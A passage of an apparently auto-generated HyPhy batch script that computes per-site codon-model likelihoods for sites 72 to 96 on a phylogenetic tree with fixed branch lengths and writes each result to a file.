ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "72\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 73...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "216,217,218", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 73");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "73\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 74...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "219,220,221", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 74");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "74\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 75...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "222,223,224", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 75");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "75\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 76...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "225,226,227", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 76");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "76\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 77...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "228,229,230", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 77");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "77\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 78...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "231,232,233", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 78");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "78\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 79...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "234,235,236", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 79");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "79\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 80...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "237,238,239", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 80");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "80\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 81...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "240,241,242", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 81");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "81\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 82...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "243,244,245", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 82");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "82\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 83...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "246,247,248", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 83");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "83\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 84...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "249,250,251", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 84");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "84\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 85...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "252,253,254", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 85");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "85\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 86...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "255,256,257", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 86");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "86\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 87...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "258,259,260", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 87");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "87\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 88...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "261,262,263", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 88");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "88\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 89...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "264,265,266", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 89");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "89\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 90...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "267,268,269", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 90");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "90\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 91...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "270,271,272", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 91");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "91\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 92...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "273,274,275", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 92");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "92\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 93...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "276,277,278", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 93");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "93\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 94...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "279,280,281", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 94");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "94\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 95...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "282,283,284", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 95");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "95\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 96...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "285,286,287", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 96");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
